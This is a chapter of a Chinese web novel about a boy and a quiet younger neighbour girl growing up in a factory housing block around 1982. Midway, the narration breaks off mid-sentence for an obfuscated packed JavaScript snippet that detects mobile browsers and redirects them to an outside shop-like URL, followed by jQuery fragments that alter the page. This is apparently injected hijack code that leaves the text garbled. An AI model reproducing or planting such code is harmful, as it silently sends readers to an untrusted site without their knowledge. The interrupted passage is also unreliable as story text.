宏峰机械厂的老家属区，像一块被岁月腌入了味的旧布，铺在柳江河北岸。房子多是五六十年代盖的筒子楼，红砖裸露，水泥抹的墙面斑斑驳驳，爬着些枯了又绿、绿了又枯的爬山虎。陈实家在三号楼，三层，把东头。楼道又黑又长，两边堆着各家的蜂窝煤、烂竹椅、腌菜坛子，只留中间一条窄窄的过道，成了穿堂风最爱的跑道，一年到头凉飕飕的。
在一九八二年那个冷得钻心的冬天到来之前，陈实的童年记忆，大多罩着一层毛茸茸的、暖黄色的光晕。那光晕里，总有一个甩不掉的小小影子。
影子叫文娟，住同一层西头，比陈实小两岁。陈实从不连名带姓叫她，就喊“阿妹”。阿妹也从不叫他“陈实哥哥”，太正式，她叫不出口，只是用那双黑葡萄似的眼睛望着他，一切意思都在里头了。
他们的友谊，开始得毫无道理，像春天墙根下自己冒出来的草。起初是陈实在楼下空地上拍烟壳纸叠的“豆腐块”，阿妹就蹲在两步开外看。她不参与，也不说话，托着腮，看陈实把“豆腐块”拍得啪啪响，赢了，小脸就跟着亮一下；输了，眉头会悄悄皱起一点点，仿佛输的是她自己。陈实起初不在意，拍得兴起，满头大汗。等他歇下来，一转头，发现那小人儿还蹲在那儿，姿势都没变，只是鼻尖冻得有点红。
“你不回家？”陈实问。
阿妹摇摇头，还是不说话。
“冷哦。”
阿妹点点头，却没动。
陈实挠挠头，收拾起地上的“战利品”，起身往家走。走几步，回头，阿妹也站起来，慢吞吞跟在他后面，保持着三五步的距离。他停，她也停。他走，她也走。像个无声的、设定好程序的小跟班。
从那以后，这“小尾巴”就甩不掉了。
陈实去厂区后头的土坡“探险”，那里有废弃的砖窑和疯长的狗尾巴草。他猫着腰，自以为是个孤胆英雄，走了老远，心里那股独闯秘境的兴奋劲儿正浓，一回头，土坡下，那个穿着碎花小棉袄的身影，正一脚深一脚浅地往上爬。看到他回头，她也不喊，只是仰起脸，阳光下眼睛眯起来，咧开嘴，露出缺了一颗的门牙，笑了。然后埋下头，更加努力地往上爬，小手时不时抓一把草借力。
陈实站在坡顶，看着她笨拙又努力的样子，心里那点独自冒险的得意忽然没了，取而代之的是一种更饱满的情绪——有人分享，哪怕是这么个不说话的小不点儿。
他走下去几步，向她伸出手。阿妹的小手立刻抓住他的，湿漉漉的，沾着泥和草屑，却握得很紧。他把她拉上坡顶，两个人并排站着，看下面蚂蚁似的行人和玩具盒一样的厂房。风很大，吹乱了阿妹细软的黄头发。她也不拨，就这么站着，紧紧挨着他，仿佛这里就是世界的顶端，而身边这个人，就是所有的倚仗。
阿妹信任他，是一种近乎原始的、小动物般的信任。在楼下玩跳房子，被大两岁的男孩抢了画片的格子，她不哭不闹，也不去找正在水龙头下洗菜的母亲，只是转过身，走回陈实身边，仰起脸，用那双会说话的眼睛看着他。陈实那时也瘦小，心里直打鼓，但被她这么看着，胸膛里忽然就生出一股热气。
他走过去，对那男孩说：“把格子还她。”男孩比他高半头，斜着眼：“凭什么？”陈实不说话，只是挡在阿妹前面，梗着脖子，拳头攥得紧紧的，虽然小腿有点发抖。对峙了十几秒，也许是陈实眼里的凶光起了作用，也许是觉得没意思，男孩嘟囔着骂了句什么，把画片踢了回来。
陈实捡起来，递给阿妹。阿妹接过，眼睛弯成了月牙，把画片小心地揣进兜里，然后伸出小手，主动拉住了陈实的衣角。那一刻，陈实觉得自己像个真正的英雄。
她有什么好吃的，两颗难得的水果硬糖，半块裹着芝麻的麦芽糖，总要分一半给他。不是递，是塞。小小的手心里躺着那颗糖，不由分说地塞进陈实手里，然后眼巴巴看着他，一定要等他剥开糖纸放进嘴里，自己才肯吃另一颗。
糖在嘴里化开，甜得腻人，陈实看着阿妹满足地眯起眼，腮帮子鼓起一个小包，心里也跟着甜，还有一种被需要、被珍视的暖洋洋的感觉。
傍晚，是筒子楼一天里最喧闹也最温馨的时候。家家户户的厨房响起锅碗瓢盆声，空气里弥漫着炒辣椒、炖骨头汤的香气。
父母还没下班，阿妹就搬着她那个小板凳——红色的，漆掉了很多——轻轻放在陈实家门口。她不进去，就坐在门槛外，背靠着门框，安静地看陈实在屋里那张旧方桌上写作业。筒子楼的灯是十五瓦的白炽灯，光线昏黄，但在阿妹眼里，那扇门里透出的光，和陈实伏案的背影，就是傍晚时分全部的安全感。
有时陈实写累了，抬头活动脖子，就能看到门口那个小小的、安静的侧影。他会撕一小块没用过的作业纸，三两下折个纸飞机，轻轻掷出去。纸飞机歪歪扭扭地飞过门槛，落在阿妹脚边。阿妹捡起来，捧在手里看，然后学着样子，用小手笨拙地拆开，又想按原折痕折回去，往往失败，纸变得皱巴巴。她也不气馁，就拿着那团皱纸，继续安静地坐着。
陈实母亲有时看到了，会盛半碗饭，夹点菜，端给她：“阿妹，先吃点。”阿妹就细声细气地说：“谢谢阿姨。”小口小口地吃，眼睛还时不时瞟一下屋里的陈实
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313177|198899||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
大人们爱拿他们打趣。隔壁张婶买菜回来，看见他俩一前一后下楼，就扬声笑道：“哎哟，石头哥，又带你老婆仔克哪凯耍啊？”
陈实像被踩了尾巴的猫，脸瞬间涨红，梗着脖子大声反驳：“乱讲！她是我妹！”声音大得把自己都吓了一跳。阿妹则把头埋得低低的，耳朵尖都红了，小手紧紧揪着衣角，脚步加快，几乎要躲到陈实背后去。
等走远了，陈实的心还在咚咚跳。他偷偷看一眼身旁的阿妹，她已经抬起头，小脸还红着，但眼睛亮亮的，好像刚才的窘迫里，也藏着一点点只有他们自己才懂的、秘密的欢喜。他心里那种属于“哥哥”的责任感，便在这样的玩笑和辩白里，一天天悄然生长，变得具体而牢固。
过马路时，即使没车，他也会不由自主地伸出手；分吃一根三分钱的绿豆冰棍时，他会小心地把冰棍从中间咬断，把带着木棍、稍大的那头递给她；下雨天共撑一把旧黑伞，他总是把伞大幅度地斜向她那边，自己半个肩膀淋在雨里也浑然不觉。
这年秋天，阿妹也背起书包，成了厂子弟小学一年级的学生。学校就在家属区边上，陈实读三年级。
上学放学的路上，那条穿着碎花衣的小尾巴，便从筒子楼延伸到了梧桐树夹道的厂区路上。她依然不怎么说话，但陈实能感觉到她的变化。
她开始会把捡到的漂亮树叶、光滑的小石头塞给他看；考试得了满分，会把卷子折得整整齐齐，等在他放学必经的路口，等他走近了，才飞快地展开，指指上面红艳艳的“100”，然后抿着嘴笑，眼睛亮得像盛满了星星；被老师表扬了，也会在和他一起写作业时，装作不经意地提起，小脸上是藏不住的、想被夸奖的期待。
陈实便很认真地夸她：“厉害哦。”或者摸摸她的头。阿妹就像被顺了毛的小猫，满足地安静下来，继续写她的拼音字母。
日子像柳江河的水，看似平静，却悄无声息地流淌。
陈实已经习惯了身后或身旁这个安静的小影子，习惯了那份无需言语的陪伴和依赖。他从未想过这有什么特别，也从未想过这会改变。
仿佛阿妹就会一直这样做他的小尾巴，跟在他后面，走过长长的、昏暗的楼道，走过阳光斑驳的厂区路，走过一个又一个平平无奇却又闪着微光的日子，直到他们都长大，长到不再需要玩这些幼稚游戏的那天——而那一天，似乎还遥远得像天边的云。
他以为，自己的童年将会永远这样，暖黄，安静，用有一条甩不掉、却也舍不得甩掉的小尾巴。
可他不知道，这层薄薄的糯米糖纸，一戳就破……